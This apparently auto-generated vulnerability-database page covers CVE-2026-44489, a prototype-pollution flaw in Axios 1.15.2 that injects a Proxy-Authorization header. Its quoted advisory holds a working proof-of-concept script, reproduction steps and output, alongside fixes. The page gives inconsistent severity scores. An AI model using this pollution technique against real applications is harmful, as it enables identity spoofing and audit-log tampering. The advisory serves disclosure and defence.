CVE-2026-44489: Axios has a Patch Bypass Proxy-Authorization Header Injection Vulnerability

LOW
Advisory Identifier: GHSA-654m-c8p4-x5fp
CVSS 3.7
CWE-1321 CWE-113
Published
Advisory Summary

CVE-2026-44489 is a LOW (CVSS 3.7) proxy-authorization header injection vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Axios has a Patch Bypass libraries in the npm ecosystem. The issue involves proxy-authorization header injection via prototype pollution — incomplete null-prototype fix. Remediation is available by upgrading affected packages to version 1.16.0.

CVE-2026-44489 at a Glance

CVE Identifier CVE-2026-44489
GHSA Identifier GHSA-654m-c8p4-x5fp
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Axios has a Patch Bypass
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-44489

To remediate this vulnerability, upgrade all affected Axios has a Patch Bypass dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

axios fixed: 1.16.0
npm install axios@1.16.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls axios

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-44489, inspect your project dependencies using npm:

npm ls axios

Analyze the terminal output to locate any version of Axios has a Patch Bypass in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.16.0), your application is affected.

Note: The npm ls axios command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Axios has a Patch Bypass, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2 ## Summary The `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain. The `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**. **Severity:** Medium (CVSS 5.4) **Affected Versions:** 1.15.2 (and potentially 1.15.1) **Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`) ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') ## CVSS 3.1 **Score: 5.6 (Medium)** Vector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the proxy authentication context | | Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) | | Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity | | Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail | ### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High) | Factor | GHSA-q8qp-cvcw-x6jj | This Finding | |---|---|---| | Precondition | **None** — all requests affected | Must have `config.proxy` set | | `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable | | `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** | | Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected | | Impact scope | Universal — every axios request | Only requests with explicit proxy config | ## This Is a Patch Bypass This vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc. However, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object. | Layer | Protection | Status | |---|---|---| | `config` (top-level) | `Object.create(null)` | ✓ Fixed | | `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** | | `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** | ## Root Cause Analysis ### Step 1: `utils.merge()` creates plain `{}` for nested objects **File:** `lib/utils.js`, line 406 ```javascript function merge(/* obj1, obj2, obj3, ... */) { const result = {}; // ← Plain object with Object.prototype! // ... } ``` When `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`. ### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty` **File:** `lib/adapters/http.js`, lines 209-223 ```javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { if (proxy.username) { // ← traverses Object.prototype! proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); } if (proxy.auth) { // ← traverses Object.prototype! const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password); if (validProxyAuth) { proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || ''); } // ... const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64'); options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED! } // ... } } ``` ### Complete Attack Chain ``` Object.prototype.username = 'attacker' Object.prototype.password = 'stolen-creds' │ ▼ User config: { proxy: { host: 'proxy.corp', port: 8080 } } │ ▼ mergeConfig() → utils.merge() → new plain {} config.proxy = { host: 'proxy.corp', port: 8080 } (own properties) config.proxy inherits from Object.prototype (has .username, .password) │ ▼ setProxy() at http.js:209: proxy.username → 'attacker' (from Object.prototype) → truthy! proxy.auth = 'attacker' + ':' + 'stolen-creds' │ ▼ http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Injected into EVERY proxied HTTP request! ``` ## Proof of Concept ```javascript import http from 'http'; import axios from './index.js'; // Proxy server logs received Proxy-Authorization const proxyServer = http.createServer((req, res) => { console.log('Proxy-Authorization:', req.headers['proxy-authorization']); res.writeHead(200); res.end('OK'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Target server const target = http.createServer((req, res) => { res.writeHead(200); res.end(); }); await new Promise(r => target.listen(0, r)); // Simulate prototype pollution from vulnerable dependency Object.prototype.username = 'attacker'; Object.prototype.password = 'stolen-creds'; // Developer sets proxy WITHOUT auth — expects no auth header await axios.get(`http://127.0.0.1:${target.address().port}/api`, { proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, }); // Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz // Decoded: attacker:stolen-creds delete Object.prototype.username; delete Object.prototype.password; proxyServer.close(); target.close(); ``` ## Reproduction Environment ``` Axios version: 1.15.2 (latest patched release) Node.js version: v20.20.2 OS: macOS Darwin 25.4.0 ``` ## Reproduction Steps ```bash # 1. Install axios 1.15.2 npm pack axios@1.15.2 tar xzf axios-1.15.2.tgz && mv package axios-1.15.2 cd axios-1.15.2 && npm install # 2. Save PoC as poc.mjs (code from Section 7 above) # 3. Run node poc.mjs ``` ## Verified PoC Output ``` === Axios 1.15.2: PP → Proxy-Authorization Injection === [1] Normal request with proxy (no auth): Proxy-Authorization: none [2] Prototype Pollution: Object.prototype.username = "attacker" Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Decoded: attacker:stolen-creds → PP injected proxy credentials: attacker:stolen-creds [3] Impact: ✗ Attacker injects Proxy-Authorization into all proxied requests ✗ If proxy logs auth, attacker credential appears in proxy logs ✗ If proxy authenticates based on this, attacker controls proxy identity ✗ Works on 1.15.2 despite null-prototype config fix ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype ``` ### Confirming the Bypass Mechanism ``` Direct PP (config.proxy) — BLOCKED by 1.15.2: Object.prototype.proxy = { host: 'evil' } config.proxy = undefined ← null-prototype blocks ✓ Nested PP (proxy.username) — BYPASSES 1.15.2: Object.prototype.username = 'attacker' config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties config.proxy own keys: ['host', 'port'] ← username NOT own config.proxy.username = 'attacker' ← inherited from Object.prototype! hasOwn(config.proxy, 'username') = false ``` ``` ## Impact Analysis - **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity. - **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation. - **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain. - **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments. ### Prerequisite - Application must use `config.proxy` (explicit proxy configuration) - A separate prototype pollution vulnerability must exist in the dependency tree - `Object.prototype.username` or `Object.prototype.auth` must be polluted ## Recommended Fix ### Fix 1: Use `hasOwnProperty` in `setProxy()` ```javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key); if (hasOwn(proxy, 'username')) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); } if (hasOwn(proxy, 'auth')) { // ... existing auth handling ... } } } ``` ### Fix 2: Use null-prototype objects in `utils.merge()` ```javascript // lib/utils.js line 406 function merge(/* obj1, obj2, obj3, ... */) { const result = Object.create(null); // ← null-prototype for nested objects too // ... } ``` ### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()` ## References - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [Axios GitHub Repository](https://github.com/axios/axios)

CVE-2026-44489 Affected Axios has a Patch Bypass Versions

1 component(s)
Fixed Versions:
1.16.0
Product / Package Ecosystem Affected Versions Fixed Version
axios
npm
≥ 1.15.2
< 1.16.0
All 1 versions
1.15.2
1.16.0

References

Frequently Asked Questions

What is CVE-2026-44489?
CVE-2026-44489 is a security vulnerability in Axios has a Patch Bypass involving Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Axios has a Patch Bypass versions are affected?
Affected versions include releases prior to 1.16.0 across affected packages: axios.
What version fixes CVE-2026-44489?
Upgrading to 1.16.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is axios affected?
Yes, axios is affected in releases prior to 1.16.0. Upgrade your dependency to 1.16.0 or later.
What is the CVSS score of CVE-2026-44489?
CVE-2026-44489 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2026-44489?
CVE-2026-44489 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-44489?
Run the dependency tree command: 'npm ls axios'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-654m-c8p4-x5fp",
  "modified" : "2026-06-12T19:24:58Z",
  "published" : "2026-05-29T15:51:02Z",
  "aliases" : [ "CVE-2026-44489" ],
  "summary" : "Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix",
  "details" : "# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** — all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected |\n| Impact scope | Universal — every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | ✓ Fixed |\n| `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const result = {};  // ← Plain object with Object.prototype!\n  // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  // ...\n  if (proxy) {\n    if (proxy.username) {                    // ← traverses Object.prototype!\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (proxy.auth) {                        // ← traverses Object.prototype!\n      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n      if (validProxyAuth) {\n        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n      }\n      // ...\n      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');\n      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!\n    }\n    // ...\n  }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = 'attacker'\nObject.prototype.password = 'stolen-creds'\n         │\n         ▼\n  User config: { proxy: { host: 'proxy.corp', port: 8080 } }\n         │\n         ▼\n  mergeConfig() → utils.merge() → new plain {}\n  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)\n  config.proxy inherits from Object.prototype         (has .username, .password)\n         │\n         ▼\n  setProxy() at http.js:209:\n    proxy.username → 'attacker' (from Object.prototype) → truthy!\n    proxy.auth = 'attacker' + ':' + 'stolen-creds'\n         │\n         ▼\n  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n  Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) => {\n  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);\n  res.writeHead(200);\n  res.end('OK');\n});\nawait new Promise(r => proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) => { res.writeHead(200); res.end(); });\nawait new Promise(r => target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = 'attacker';\nObject.prototype.password = 'stolen-creds';\n\n// Developer sets proxy WITHOUT auth — expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz && mv package axios-1.15.2\ncd axios-1.15.2 && npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP → Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n  Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n  Decoded: attacker:stolen-creds\n  → PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n  ✗ Attacker injects Proxy-Authorization into all proxied requests\n  ✗ If proxy logs auth, attacker credential appears in proxy logs\n  ✗ If proxy authenticates based on this, attacker controls proxy identity\n  ✗ Works on 1.15.2 despite null-prototype config fix\n  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) — BLOCKED by 1.15.2:\n  Object.prototype.proxy = { host: 'evil' }\n  config.proxy = undefined            ← null-prototype blocks ✓\n\nNested PP (proxy.username) — BYPASSES 1.15.2:\n  Object.prototype.username = 'attacker'\n  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties\n  config.proxy own keys: ['host', 'port']        ← username NOT own\n  config.proxy.username = 'attacker'             ← inherited from Object.prototype!\n  hasOwn(config.proxy, 'username') = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  // ...\n  if (proxy) {\n    const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);\n\n    if (hasOwn(proxy, 'username')) {\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (hasOwn(proxy, 'auth')) {\n      // ... existing auth handling ...\n    }\n  }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const result = Object.create(null);  // ← null-prototype for nested objects too\n  // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "axios"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.15.2"
      }, {
        "fixed" : "1.16.0"
      } ]
    } ],
    "versions" : [ "1.15.2" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44489"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/axios/axios"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-113", "CWE-1321" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T15:51:02Z",
    "nvd_published_at" : "2026-06-11T17:16:32Z"
  }
}